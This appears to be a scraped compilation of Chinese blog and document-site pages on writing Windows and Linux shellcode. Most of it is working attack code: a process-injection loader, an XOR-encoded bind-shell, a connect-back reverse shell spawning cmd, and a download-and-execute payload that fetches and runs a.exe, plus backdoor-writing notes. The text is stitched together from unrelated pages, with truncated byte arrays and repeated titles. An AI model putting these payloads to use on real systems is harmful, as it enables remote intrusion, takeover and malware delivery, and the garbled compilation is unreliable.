shellcode/*UCHAR shellcode[] = { 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7C, 0x24, 0x18, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, 0xEC, 0x48, 0x81, 0xEC, 0x80, 0x00, 0x00, 0x00, 0xE8, 0x int main(){// some variables statementDWORD targetPid = 0;HANDLE h_target = NULL;LPVOID p_base = NULL;HANDLE h_thread = NULL;// get target process handlecout << "input target process id:";cin >> targetPid;h_target = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);if (h_target == NULL) {cout << "OpenProcess failed." << endl;goto main_end;}// request memory in target processp_base = VirtualAllocEx(h_target, NULL, sizeof(shellcode), MEM_COMMIT ,PAGE_EXECUTE_READWRITE);if (p_base == NULL) {cout << "VirtualAllocEx failed." << endl;goto main_end;}// write shellcode in requested memoryif (!WriteProcessMemory(h_target, p_base, (LPVOID)shellcode, sizeof(shellcode), NULL)) {cout << "WriteProcessMemory failed." << endl;goto main_end;}// create thread and execute shellcodeh_thread = CreateRemoteThread(h_target, 0, 0,(LPTHREAD_START_ROUTINE)p_base, NULL, 0, NULL); if (h_thread == NULL) {cout << "CreateRemoteThread failed." << endl;goto main_end;}main_end:// when MessageBox appears but you don't click the button,// now , call VirtualFreeEx to free memory then click button will lead target procedure to breakdown./*if (p_base) {VirtualFreeEx(h_target, p_base, 0, MEM_RELEASE);}*/if (h_target)CloseHandle(h_target);if (h_thread)CloseHandle(h_thread);getchar();return 0;}测试 shellcode 注⼊程序成功:。

shellcode提取和js编码转换,对写shellcode很有帮助

shellcode提取和js编码转换,对写shellcode很有帮助

shellcode提取和js编码转换,对写shellcode很有帮助展开全文周一上午无聊,手头有点公事,还是放在后边再说吧,哈哈。

先来点有用的东东。

下面是具体代码,相信搞过shellcode的朋友一定很清楚了。

/*write shellcode to jsauthor:**************.13*/void DecimalToHexChar(unsigned char a, char hexChar[]){int b = a/16;if((0<=b) && (b<=9))hexChar[0] = '0'+b;else if((0xA<=b) && (b<=0xF))hexChar[0] = 'A'+b-10;elsehexChar[0] = 'x'; //特殊字符,说明传入的字符a数据超出了0-255的范围int c = a%16;if((0<=c) && (c<=9))hexChar[1] = '0'+c;else if((0xA<=c) && (c<=0xF))hexChar[1] = 'A'+c-10;elsehexChar[1] = 'x';};char* GenJavaScriptShellcode(char* buf/*shellcode缓冲区*/, int len){//用0补齐if(0 != len%2){buf[len]=0;len++;}//计算目标缓冲区长度int dstLen = len/2*6;//%uaabbchar* pDstBuf = new char[dstLen+1]; //多分配一个'/0' pDstBuf[dstLen] = 0;for(int i = 0, j = 0; i < len; j+=6, i+=2){pDstBuf[j] = '%';pDstBuf[j+1] = 'u';//注意:javascript表示是内存的倒序DecimalToHexChar(buf[i], pDstBuf+j+4); DecimalToHexChar(buf[i+1], pDstBuf+j+2);}// outputreturn pDstBuf;}int _tmain(int argc, _TCHAR* argv[]){// HMODULE h = LoadLibrary("msvcrt.dll");// FARPROC paddr = GetProcAddress(h, "system"); DWORD beginAddr=0, codeLen=0;__asm{//getcall _local1_local1:pop esiadd esi, 0Bh ;去掉前面11个lea eax, beginAddrmov [eax], esijmp _local3_local2:mov esp,ebp;push ebp;mov ebp,esp ; 把当前esp赋给ebpxor edi,edi ;push edi ;压入0,esp-4,; 作用是构造字符串的结尾/0字符。

一种提取shellcode的方法-电脑资料

一种提取shellcode的方法-电脑资料

一种提取shellcode的方法-电脑资料作者:*****************bind port shellcode for win2k/xp#include#include#include#pragma comment(lib, "ws2_32")void printsc(unsigned char *sc, int len); unsigned char sc[0x1000];unsigned char buff[]= "GetProcAddressx0"// ----- 3 -----"CreateProcessAx0" // [edi-0x20] "ExitThreadx0" // [edi-0x1c]// "ExitProcessx0" // [edi-0x1c] "LoadLibraryAx0" // [edi-0x18]// -------------"ws2_32x0"// ----- 5 -----"WSASocketAx0" // [edi-0x14]"bindx0" // [edi-0x10]"listenx0" // [edi-0x0c]"acceptx0" // [edi-0x08]"closesocketx0"; // [edi-0x04]DWORD addr;void shellcode();void main(){unsigned char temp;unsigned char *shellcodefnadd, *start;int k;char *fnendstr = "x90x90x90x90x90x90x90x90x90";#define FNENDLONG 0x08WSADATA wsa;int all, i;//int port = 53;WSAStartup(MAKEWORD(2,2),&wsa);memset(sc, 0, sizeof(sc));// 定位shellcodefnlock的汇编代码shellcodefnadd = (unsigned char *)shellcode;temp = *shellcodefnadd;if(temp == 0xe9){++shellcodefnadd;k=*(int *)shellcodefnadd;shellcodefnadd+=k;shellcodefnadd+=4;}// 定位shellcode的起始地址for(k=0; k <= 0x500; ++k){if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;}// shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码地址start = shellcodefnadd+k+8;// 定位 shellcode 长度for(k=0; k <= 0x500; ++k){if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;}//printf("%xn", htons(port));all = k + sizeof(buff) - 1;printf("%d + %d = %dn", k, sizeof(buff), all);memcpy(sc, start, k);memcpy(&sc[k],buff, sizeof(buff));addr = (DWORD)≻for(k=0; k <= all-3; ++k){if(sc[k] == 0x00 && sc[k+1] == 0x35) printf("port offset: %drn", k);if(sc[k] == 0x7F && sc[k+3] == 0x01) printf("ip offset: %drnn", k);}k = all - 23;memcpy(sc+8, &k, 2);// ================== print ======================// decode 长度为23字节printsc (sc, 23);// xorfor(i=23; i < all; i++){sc ^= 0x99;}printsc(sc+23, k);__asm{jmp addr}// shellcode();Sleep(10000);return;}void printsc(unsigned char *sc, int len) {int l;// 打印普通shellcodefor(l = 0; l < len; l++){if(l == 0) printf(""");if((l%16 == 0) && (l != 0))printf(""n""); printf("\\x%.2X", sc[l]);if(l == len-1) printf(""");}printf("nn");/*// 打印 iis unicode shellcodefor(l = 0; l < len; l += 2){if(l == 0) printf(""");if((l%16 == 0) && (l != 0))printf(""n""); printf("%%u%.2X%.2X", sc[l+1], sc[l]); if(l == len-2) printf(""");}*/}void shellcode(){__asm{nopnopnopnopnopnopnopnop}__asm{/* --------------------解码开始---------------------- */jmp decode_enddecode_start:pop edx // 得到解码开始位置 esp -> edxdec edxxor ecx,ecxmov cx,0x17D // shellcode 长度0x175+1 = 0x176 = 373 bytesdecode_loop:xor byte ptr [edx+ecx], 0x99loop decode_loopjmp decode_okdecode_end:call decode_startdecode_ok:/* --------------------解码结束---------------------- */jmp endstart:pop edx // 指令表起始地址存放在 esp -> edx// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 ===== //// 输入:// edx => 指令表起始地址 (不需要)//// 输出:// eax => kernel32.dll起始地址// edx => 指令表起始地址mov eax, fs:0x30 // PEBmov eax, [eax + 0x0c] // PROCESS_MODULE_INFOmov esi, [eax + 0x1c] // InInitOrder.flinklodsdmov eax,[eax+8]// ========== 定位GetProcAddress的地址==========//// 输入:// eax => kernel32.dll起始地址// edx => 指令表起始地址//// 输出:// ebx => kernel32.dll起始地址// eax => GetProcAddress地址// edx => 指令表起始地址mov ebx,eax // 取kernel32.dll的起始地址mov esi,dword ptr [ebx+0x3C]mov esi,dword ptr [esi+ebx+0x78]mov edi,dword ptr [esi+0x20]add edi,ebxmov ecx,dword ptr [esi+0x14]xor ebp,ebppush esisearch_GetProcAddress:push edipush ecxmov edi,dword ptr [edi]add edi,ebx // 把输出函数名表起始地址存人edi mov esi,edx // 指令表起始地址存入esi//mov ecx,0Eh // 函数getprocAddress长度为0Eh push 0xEpop ecxrepe cmps byte ptr [esi],byte ptr [edi]je search_GetProcAddress_okpop ecxpop ediadd edi,4inc ebploop search_GetProcAddresssearch_GetProcAddress_ok:pop ecxpop edipop esimov ecx,ebpmov eax,dword ptr [esi+24h]add eax,ebxshl ecx,1xor ecx,ecxmov cx,word ptr [eax]mov eax,dword ptr [esi+1Ch]add eax,ebxshl ecx,2add eax,ecxmov eax,dword ptr [eax]add eax,ebx// ============ 调用函数解决api地址============//// 输入:// ebx =>kernel32.dll起始地址// eax =>GetProcAddress地址// edx =>指令表起始地址//// 输出:// edi =>函数地址base addr// esi =>指令表当前位置// edx =>GetProcAddress 地址mov edi,edxmov esi,ediadd esi,0xE // 0xE 跳过1个字符串"GtProcAddress"// ============ 解决kernel32.dll中的函数地址============mov edx,eax // 把GetProcAddress 地址存放在edxpush 3 // 需要解决的函数地址的个数硬编码可以节省两个字节pop ecxcall locator_api_addr// ============ 加载ws2_32.dll ============//locator_ws2_32:add esi,0xd // 0xd即"ws2_32"前面那个字符串的长度,硬编码可以节省两个字节push edx // edx是GetProcAddress 地址push esi // 字符"ws2_32"地址call dword ptr [edi-4] // LoadLibraryA// ============ 解决ws2_32中的函数地址============pop edxmov ebx,eax // 将ws2_32.dll起始地址存放在ebx//mov ecx,4push 5 // 函数个数pop ecx // 函数个数 <-这种方式省两个字节call locator_api_addr// ============ create socket ============push eaxpush eaxpush eaxpush eax // IPPROTO_IP 0push 1 // SOCK_STREAMpush 2 // AF_INETcall dword ptr [edi-0x14] // WSASocketAmov ebx,eax // socket保存在ebx// ============ 填充sockaddr_in结构============mov dword ptr [edi],0x35000002 // 2= AF_INET 0x35 = 53 xor eax, eaxmov dword ptr [edi+4], eax // ADDR_ANY// ============ bind ============push 0x10 // sizeof(sockaddr_in)push edi // sockaddr_in addresspush ebx // socketcall dword ptr [edi-0x10] // bind(socket, &address, sizof(address));// ============ listen ============push 0x1 // 1push ebx // socketcall dword ptr [edi-0xc] // listen(socket, 1);// ============ accept ============push eax // 0push eax // 0push ebx // socketcall dword ptr [edi-0x8] // accept(socket, &address, sizeof(address));mov edx,eax// ============ ============sub esp,0x44mov esi,esp // 取si的起始地址xor eax, eaxpush 0x10 // 0x11 * 4 = 0x44 bytespop ecxzero_si:mov dword ptr [esi+ecx*4],eaxloop zero_si// ============ fill si struct,si存放在stack中============mov dword ptr [esi+0x38],edx // si.hStdInput soskcetmov dword ptr [esi+0x3C],edx // hStdOutput soscketmov dword ptr [esi+0x40],edx // hStdError socket//mov word ptr [esi+0x30],0 // wShowWindowmov word ptr [esi+0x2c],0x101 // dwFlags// ============ CreateProcessA ============lea eax, dword ptr [edi+0x10]push eax // pipush esi // sixor ecx, ecxpush ecx // lpCurrentDirectorypush ecx // lpEnvironmentpush ecx // dwCreationFlagspush 1 // bInheritHandlespush ecx // lpThreadAttributespush ecx // lpProcessAttributesmov dword ptr [edi+0x3C], 0x00646D63// 0x63='c' 0x6d='m' 0x64='d'lea eax, dword ptr [edi+0x3C]push eax // lpCommandLinepush ecx // lpApplicationName NULLcall dword ptr [edi-0x20] // CreateProcessA// ============ If no error occurs, connect returns zero. ===========// closesocketpush edxcall dword ptr [edi-0x4]// closesocketpush ebxcall dword ptr [edi-0x4]// ExitProcesspush eaxcall dword ptr [edi-0x1c] // ExitProcess// ============ 解决api地址的函数 ============ //// 输入参数:// ecx 函数个数// edx GetProcAddress 地址// ebx 输出函数的dll起始地址// esi 函数名表起始地址// edi 保存函数地址的起始地址locator_api_addr:locator_space:xor eax, eaxlodsbtest eax, eax // 寻找函数名之间的空格x00jne locator_spacepush ecxpush edxpush esi // 函数名push ebx // 输出函数的dll起始地址call edxpop edxpop ecxstos dword ptr [edi]loop locator_spacexor eax, eaxret// ================== 结束调用====================end:call start}__asm{nopnopnopnopnopnopnopnop}return;}connect back shellcode for win2k/xp #include#include#include#pragma comment(lib, "ws2_32") void printsc(unsigned char *sc, int len); unsigned char sc[0x1000];unsigned char buff[]= "GetProcAddressx0"// ----- 3 ----- "CreateProcessAx0" // [edi-0x18] "ExitThreadx0" // [edi-0x14]// "ExitProcessx0" // [edi-0x14] "LoadLibraryAx0" // [edi-0x10]// -------------"ws2_32x0"// ----- 3 -----"WSASocketAx0" // [edi-0x0c]"connectx0" // [edi-0x08]"closesocketx0"; // [edi-0x04]DWORD addr;void shellcode();void main(){unsigned char temp;unsigned char *shellcodefnadd, *start;int k;char *fnendstr = "x90x90x90x90x90x90x90x90x90";#define FNENDLONG 0x08WSADATA wsa;int all, i;WSAStartup(MAKEWORD(2,2),&wsa);memset(sc, 0, sizeof(sc));// 定位shellcodefnlock的汇编代码shellcodefnadd = shellcode;temp = *shellcodefnadd;if(temp == 0xe9){++shellcodefnadd;k=*(int *)shellcodefnadd;shellcodefnadd+=k;shellcodefnadd+=4;}// 定位shellcode的起始地址for(k=0; k <= 0x500; ++k){if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0)break;}// shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码地址start = shellcodefnadd+k+8;// 定位 shellcode 长度for(k=0; k <= 0x500; ++k){if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;}//printf("%xn", htons(port));all = k + sizeof(buff) - 1;printf("%d + %d = %dn", k, sizeof(buff), all);memcpy(sc, start, k);memcpy(&sc[k],buff, sizeof(buff));addr = (DWORD)≻for(k=0; k <= all-3; ++k){if(sc[k] == 0x00 && sc[k+1] == 0x35) printf("port offset: %drn", k);if(sc[k] == 0x7F && sc[k+3] == 0x01) printf("ip offset: %drnn", k);}k = all - 23;memcpy(sc+8, &k, 2);// ================== print ======================// decode 长度为23字节printsc (sc, 23);// xorfor(i=23; i < all; i++){sc ^= 0x99;}printsc(sc+23, k);__asm{jmp addr}return;}void printsc(unsigned char *sc, int len) {int l;// 打印普通shellcodefor(l = 0; l < len; l++){if(l == 0) printf(""");if((l%16 == 0) && (l != 0))printf(""n""); printf("\\x%.2X", sc[l]);if(l == len-1) printf(""");}printf("nn");/*// 打印 iis unicode shellcodefor(l = 0; l < len; l += 2){if(l == 0) printf(""");if((l%16 == 0) && (l != 0))printf(""n""); printf("%%u%.2X%.2X", sc[l+1], sc[l]);if(l == len-2) printf(""");}*/}void shellcode(){__asm{nopnopnopnopnopnopnopnop}__asm{/* --------------------解码开始---------------------- */ jmp decode_enddecode_start:pop edx // 得到解码开始位置 esp -> edxdec edxxor ecx,ecxmov cx,0x15D // 要解码shellcode长度decode_loop:xor byte ptr [edx+ecx], 0x99loop decode_loopjp decode_okdecode_end:call decode_startdecode_ok:/* --------------------解码结束---------------------- */jmp endstart:pop edx // 指令表起始地址存放在 esp -> edx// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 ===== //// 输入:// edx => 指令表起始地址 (不需要)//// 输出:// eax => kernel32.dll起始地址// edx => 指令表起始地址mov eax, fs:0x30 // PEBmov eax, [eax + 0x0c] // PROCESS_MODULE_INFOmov esi, [eax + 0x1c] // InInitOrder.flinklodsdmov eax,[eax+8]// ========== 定位GetProcAddress的地址==========//// 输入:// eax => kernel32.dll起始地址// edx => 指令表起始地址//// 输出:// ebx => kernel32.dll起始地址// eax => GetProcAddress地址// edx => 指令表起始地址mov ebx,eax // 取kernel32.dll的起始地址 DLL Base Address mov esi,dword ptr [ebx+3Ch] // esi = PE header offsetmov esi,dword ptr [esi+ebx+78h]add esi,ebx // esi = exports directory tablemov edi,dword ptr [esi+20h]add edi,ebx // edi = name pointers tablemov ecx,dword ptr [esi+14h] // ecx = number of name pointersxor ebp,ebppush esisearch_GetProcAddress:push edipush ecxmov edi,dword ptr [edi]add edi,ebx // 把输出函数名表起始地址存人edimov esi,edx // 指令表起始地址存入esi//mov ecx,0Eh // 函数getprocAddress长度为0Ehpush 0xEpop ecxrepe cmps byte ptr [esi],byte ptr [edi]je search_GetProcAddress_okpop ecxpop ediadd edi,4inc ebploop search_GetProcAddresssearch_GetProcAddress_ok:pop ecxpop edipop esimov ecx,ebpmov eax,dword ptr [esi+24h]add eax,ebxshl ecx,1add eax,ecxxor ecx,ecxmov cx,word ptr [eax]mov eax,dword ptr [esi+1Ch]add eax,ebxshl ecx,2add eax,ecxmov eax,dword ptr [eax]add eax,ebx// ============ 调用函数解决api地址============//// 输入:// ebx =>kernel32.dll起始地址// eax =>GetProcAddress地址// edx =>指令表起始地址//// 输出:// edi =>函数地址base addr// esi =>指令表当前位置// edx =>GetProcAddress 地址mov edi,edxmov esi,ediadd esi,0xE // 0xE 跳过1个字符串"GetProcAddress"// ============ 解决kernel32.dll中的函数地址============mov edx,eax // 把GetProcAddress 地址存放在edx//mov ecx,0x5 // 需要解决的函数地址的个数push 0x3pop ecxcall locator_api_addr// ============ 加载ws2_32.dll ============//locator_ws2_32://xor eax,eax // locator_api_addr返回后eax为0//lods ////test eax,eax // ->定位字符串"ws2_32"的起始地址//jne locator_ws2_32 //add esi,0xd // 0xd即"ws2_32"前面那个字符串的长度,// 硬编码可以节省两个字节push edx // edx是GetProcAddress 地址push esi // 字符"ws2_32"地址call dword ptr [edi-4] // LoadLibraryA// ============ 解决ws2_32中的函数地址============pop edxmov ebx,eax // 将ws2_32.dll起始地址存放在ebx//mov ecx,4 // 函数个数push 3pop ecx // 函数个数 <-这种方式省两个字节call locator_api_addr// ============ ============//xor eax,eax // locator_api_addr返回后eax为0//init sisub esp,0x44mov esi,esp // 取si的起始地址push 0x10 // 0x11 * 4 = 0x44 bytespop ecxzero_si:mov dword ptr [esi+ecx*4],eaxloop zero_si// ============ create socket ============push eaxpush eaxpush eaxpush eax // IPPROTO_IP 0push 1 // SOCK_STREAMpush 2 // AF_INETcall dword ptr [edi-0xc] // WSASocketmov ebx,eax // socket保存在ebx// ============ fill si struct,si存放在stack中============mov dword ptr [esi+0x38],ebx // si.hStdInput soskcetmov dword ptr [esi+0x3C],ebx // hStdOutput soscketmov dword ptr [esi+0x40],ebx // hStdError socket//mov word ptr [esi+0x30],0 // wShowWindowmov word ptr [esi+0x2c],0x101 // dwFlags// ============ CreateProcessA ============lea eax,[edi+0x10]push eax // pipush esi // sixor eax,eaxpush eax // lpCurrentDirectorypush eax // lpEnvironmentpush eax // dwCreationFlagspush 1 // bInheritHandlespush eax // lpThreadAttributespush eax // lpProcessAttributeslea edx,[edi+0x3c]mov dword ptr [edx], 0x00646D63 // 0x63='c' 0x6d='m' 0x64='d'push edx // lpCommandLinepush eax // lpApplicationName NULLcall dword ptr [edi-0x18] // CreateProcessA// ============ 填充sockaddr_in结构============mov dword ptr [edi],0x35000002 // 2= AF_INET 0x35 = 53 mov dword ptr [edi+0x4],0x0100007F // ip addr,default is 127.0.0.1// ============ connect back ============push 0x10 // sizeof(sockaddr_in)//lea eax,[edi]//push eax // sockaddr_in addresspush edi // sockaddr_in addresspush ebx // socketcall dword ptr [edi-0x8] // connect// ============ If no error occurs, connect returns zero. ============// closesocketpush ebxcall dword ptr [edi-0x4]// ExitProcesspush eaxcall dword ptr [edi-0x14] // ExitProcess// ============ 解决api地址的函数 ============ //// 输入参数:// ecx 函数个数// edx GetProcAddress 地址// ebx 输出函数的dll起始地址// esi 函数名表起始地址// edi 保存函数地址的起始地址locator_api_addr:locator_space:xor eax,eaxlodsbtest eax,eax // 寻找函数名之间的空格x00jne locator_spacepush ecxpush edxpush esi // 函数名push ebx // 输出函数的dll起始地址call edxpop edxpop ecxstos dword ptr [edi]loop locator_spacexor eax,eaxret// ================== 结束调用====================end:call start}__asm{nopnopnopnopnopnopnopnop}return;}download url file shellcode for win2k/xp #include#includevoid printsc(unsigned char *sc, int len); unsigned char sc[0x1000];unsigned char buff[]= "GetProcAddressx0"// ----- 4 ----- "GetSystemDirectoryAx0" // [edi-0x14] "WinExecx0" // [edi-0x10] "ExitThreadx0" // [edi-0x0c]// "ExitProcessx0" // [edi-0x0c] "LoadLibraryAx0" // [edi-0x08]// -------------"urlmonx0"// ----- 1 ----- "URLDownloadToFileAx0"; // [edi-0x04] unsigned char url[]=DWORD addr;void shellcode();void main(){unsigned char temp;unsigned char *shellcodefnadd, *start;int k;char *fnendstr = "x90x90x90x90x90x90x90x90x90";#define FNENDLONG 0x08int all, i;memset(sc, 0, sizeof(sc));// 定位shellcodefnlock的汇编代码shellcodefnadd = shellcode;temp = *shellcodefnadd;if(temp == 0xe9){++shellcodefnadd;k=*(int *)shellcodefnadd;shellcodefnadd+=k;shellcodefnadd+=4;}// 定位shellcode的起始地址for(k=0; k <= 0x500; ++k){if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;}// shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码址start = shellcodefnadd+k+8;// 定位 shellcode 长度for(k=0; k <= 0x500; ++k){if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;}// printf("%xn", htons(port));all = k + sizeof(buff)-1 + sizeof(url);printf("%d + %d + %d = %dn", k, sizeof(buff)-1, sizeof(url), all);i = k-23+sizeof(buff)-1;printf("解包大小: %d + %d = %d = %Xn", k-23, sizeof(buff-1), i, i);memcpy(sc, start, k);memcpy(&sc[k], buff, sizeof(buff)-1);memcpy(&sc[k+sizeof(buff)-1], url, sizeof(url));addr = (DWORD)≻memcpy(sc+8, &i, 2);// ================== print ======================// decode 长度为23字节printsc (sc, 23);// xorfor(i=23; i < k+sizeof(buff)-1; i++){sc ^= 0x99;}printsc(sc+23, k-23);printsc(sc+k, sizeof(buff)-1);printsc(sc+k+sizeof(buff)-1, sizeof(url));// printsc(sc, k);// printsc(buff, sizeof(buff)-1);// printsc(url, sizeof(url));// printf("n%sn", url);__asm{jmp addr}return;}void printsc(unsigned char *sc, int len) {int l;// 打印普通shellcodefor(l = 0; l < len; l++){if(l == 0) printf(""");if((l%16 == 0) && (l != 0))printf(""n""); printf("\\x%.2X", sc[l]);if(l == len-1) printf(""");}printf("nn");/*// 打印 iis unicode shellcodefor(l = 0; l < len; l += 2){if(l == 0) printf(""");if((l%16 == 0) && (l != 0))printf(""n""); printf("%%u%.2X%.2X", sc[l+1], sc[l]); if(l == len-2) printf(""");}*/}void shellcode(){__asm{nopnopnopnopnopnopnopnop}__asm{/* --------------------解码开始---------------------- */ jmp decode_enddecode_start:pop edx // 得到解码开始位置 esp -> edxdec edxxor ecx,ecxmov cx,0x13D // 要解码的长度decode_loop:xor byte ptr [edx+ecx], 0x99loop decode_loopjmp decode_okdecode_end:call decode_startdecode_ok:/* --------------------解码结束---------------------- */jmp endstart:pop edx // 指令表起始地址存放在 esp -> edx// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 ===== //// 输入:// edx => 指令表起始地址 (不需要)//// 输出:// eax => kernel32.dll起始地址// edx => 指令表起始地址mov eax, fs:0x30 // PEBmov eax, [eax + 0x0c] // PROCESS_MODULE_INFOmov esi, [eax + 0x1c] // InInitOrder.flinklodsdmov eax,[eax+8]// ========== 定位GetProcAddress的地址==========//// 输入:// eax => kernel32.dll起始地址// edx => 指令表起始地址//// 输出:// ebx => kernel32.dll起始地址// eax => GetProcAddress地址// edx => 指令表起始地址mov ebx,eax // 取kernel32.dll的起始地址 DLL Base Address mov esi,dword ptr [ebx+3Ch] // esi = PE header offsetmov esi,dword ptr [esi+ebx+78h]add esi,ebx // esi = exports directory tablemov edi,dword ptr [esi+20h]add edi,ebx // edi = name pointers tablemov ecx,dword ptr [esi+14h] // ecx = number of name pointersxor ebp,ebppush esisearch_GetProcAddress:push edipush ecxmov edi,dword ptr [edi]add edi,ebx // 把输出函数名表起始地址存人edimov esi,edx // 指令表起始地址存入esi//mov ecx,0Eh // 函数getprocAddress长度为0Ehpush 0xEpop ecxrepe cmps byte ptr [esi],byte ptr [edi]je search_GetProcAddress_okpop ecxpop ediadd edi,4inc ebploop search_GetProcAddresssearch_GetProcAddress_ok:pop ecxpop edipop esimov ecx,ebpmov eax,dword ptr [esi+0x24]add eax,ebxadd eax,ecxxor ecx,ecxmov cx,word ptr [eax]mov eax,dword ptr [esi+0x1C]add eax,ebxshl ecx,2add eax,ecxmov eax,dword ptr [eax]add eax,ebx// ============ 调用函数解决api地址============//// 输入:// ebx =>kernel32.dll起始地址// eax =>GetProcAddress地址// edx =>指令表起始地址//// 输出:// edi =>函数地址base addr// esi =>指令表当前位置// edx =>GetProcAddress 地址mov edi,edxmov esi,ediadd esi,0xE // 0xE 跳过1个字符串"GetProcAddress"// ============ 解决kernel32.dll中的函数地址============mov edx,eax // 把GetProcAddress 地址存放在edx//mov ecx,0x5 // 需要解决的函数地址的个数push 0x4call locator_api_addr// ============ 加载urlmon.dll ============//locator_urlmon://xor eax,eax // locator_api_addr返回后eax为0//lods ////test eax,eax // ->定位字符串"urlmon"的起始地址//jne locator_urlmon //add esi,0xd // 0xd即"urlmon"前面那个字符串的长度,// 硬编码可以节省两个字节push edx // edx是GetProcAddress 地址push esi // 字符"urlmon"地址call dword ptr [edi-4] // LoadLibraryA// ============ 解决urlmon中的函数地址============pop edxmov ebx,eax // 将urlmon.dll起始地址存放在ebx//mov ecx,1 // 函数个数push 0x1pop ecx // 函数个数 <-这种方式省两个字节call locator_api_addr// ============ 取得url起始地址 ============add esi, 0x13 // URLDownloadToFileA 的长度为0x13push esisearchurl:inc esicmp byte ptr [esi], 0x80jne searchurlxor byte ptr [esi], 0x80 // 把0x80 改成 0x00 结束字符串pop esi // 取得url 的起始地址// 取得一些空间存放系统路径sub esp, 0x20mov ebx, esp// 调用GetSystemDirectoryA获得系统路径push 0x20push ebxcall [edi-0x14]// eax 为系统路径的长度// 调用URLDownloadToFileA下载文件并保存成a.exemov dword ptr [ebx+eax], 0x652E615C // "a.e"mov dword ptr [ebx+eax+0x4], 0x00006578 // "xe"xor eax, eax // 清0push eaxpush eaxpush ebxpush esipush eaxcall [edi-0x4]// 调用WinExec执行文件mov ebx, esppush eaxpush ebxcall [edi-0x10]// ExitpProcesspush eaxcall dword ptr [edi-0x0c] // ExitProcess// ============ 解决api地址的函数 ============ //// 输入参数:// ecx 函数个数// edx GetProcAddress 地址// ebx 输出函数的dll起始地址// esi 函数名表起始地址// edi 保存函数地址的起始地址locator_api_addr:locator_space:xor eax,eaxlodsbtest eax,eax // 寻找函数名之间的空格x00jne locator_spacepush ecxpush edxpush esi // 函数名push ebx // 输出函数的dll起始地址call edxpop edxpop ecxstos dword ptr [edi]loop locator_spacexor eax,eaxret// ================== 结束调用====================end:call start}__asm{nopnopnop nop nop nop nop nop } return; }。

LinuxShellCode-电脑资料

LinuxShellCode-电脑资料

LinuxShellCode-电脑资料说明本文首发于shudoo现在我把它改改让小菜看的更明白 0一、什么是ShellCode让我们从一个经典的故事开始ShellCode之旅话说某天某爱国编译了一个Nday溢出利用程序来攻击CNN,输入IP并且enter之后发现目标服务器没有反应,于是拿出sniffer抓包分析...“Oh ,my dog!居然没有带shellcode!”为什么 shellcode对于一个exploit来说这么重要呢?Shellcode到底是什么东西呢?简单的说,Shellcode是一段能够完成某种特定功能的二进制代码,。

具体完成什么任务是由攻击者决定的,可能是开启一个新的shell或者下载某个特定的程序也或者向攻击者返回一个shell等等。

Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。

网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。

漏洞利用中最关键的是Shellcode的编写。

由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。

因为shellcode将会直接操作寄存器和一些系统调用,所以对于shellcode的编写基本上是用高级语言编写一段程序然后编译,反汇编从而得到16进制的操作码,当然也可以直接写汇编然后从二进制文件中提取出16进制的操作码。

接下来就一起来解开shellcode的神秘面纱吧~二、Shellcode编写考虑因素Shellcode一般作为数据发送给服务端造成溢出,不同数据对数据要求不同,因此,Shellcode也不一定相同。

但Shellcode在编写过程中,有些问题是一致的:1.Shellcode的编写语言用什么语言编写最适合Shellcode呢?这个问题没有定论。

Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。

基本的后门编写

基本的后门编写

基本后门的编写网络工程0901 张恺南 2009266801251.1后门概述绕过安全性控制而获取对程序或系统访问权的方法。

在软件的开发阶段,程序员常会在软件内创建后门以便可以修改程序中的缺陷。

如果后门被其他人知道,或是在发布软件之前没有删除后门,那么它就成了安全风险。

后门又称为Back Door —— 一台计算机上有0到65535共65536个端口,那么如果把计算机看作是一间屋子,那么这65536个端口就可以把它看做是计算机为了与外界连接所开的65536扇门。

1.2后门的发展功能上的发展原始的后门只有cmdshell 功能,随着后门要求的提高,功能也逐渐强大,添加了比如列举进程、结束进程等功能。

在winshell 之后,后门的功能越来越完善,开远程终端、克隆用户等功能都出现了。

隐蔽性的发展在后门功能发展的同时,后门的生存能力也是不得不考虑的,一个后门如果不够隐蔽,那么很容易被管理员删除。

隐蔽性分为自启动的隐蔽性、连接上的隐蔽性和进程上的隐蔽性。

2.1简单cmdshell 的实现什么是cmdshell ?cmd 就是系统中的cmd 窗口,shell 在英语中是“壳”的意思,cmdshell 可以理解为是由被入侵系统返回的一个类似于cmd 窗口的可以远程执行命令的模块。

本地主机cmdshell 有1和2两个不同的通信过程,要实现cmdshell ,必须解决这两个通信问题。

首先1过程是后门和cmd 之间的通信,我们可以用管道通信技术来实现这个过程;2过程是跨越计算机的网络通信,我们可以用Winsock 类库来实现。

2.2.1管道通信技术什么是管道?管道是一种进程间,确切地说是线程间的通信方法。

管道,正如这个名字所表示的,是一个有两个端口的对象,进程可以从这个对象的一个端口写入信息,并从这个对象的另一个端口读取信息。

管道其实也是一个共享内存,但是这个共享内存更加规范,而且有类似于队远程主机12cmdtelnet 后门列的数据结构,不像内存映射文件那样仅仅是共享内存。

Shellcode学习之提取shellcode-电脑资料

Shellcode学习之提取shellcode-电脑资料

Shellcode学习之提取shellcode-电脑资料说明:此程序可以用标准c语言string格式打印出你所在ShellCodes函数中编写的shellcode用vc编译时请使用Release格式并取消优化设置,否则不能正常运行*/#i nclude#i nclude#i nclude#define DEBUG 1 //定义为调试模式,。

本地测试用。

打印shellcode后立即执行shellcode////函数原型//void DecryptSc(); //shellcode解码函数,使用的是xor法加微调法void ShellCodes(); //shellcode的函数,因为使用了动态搜索API地址。

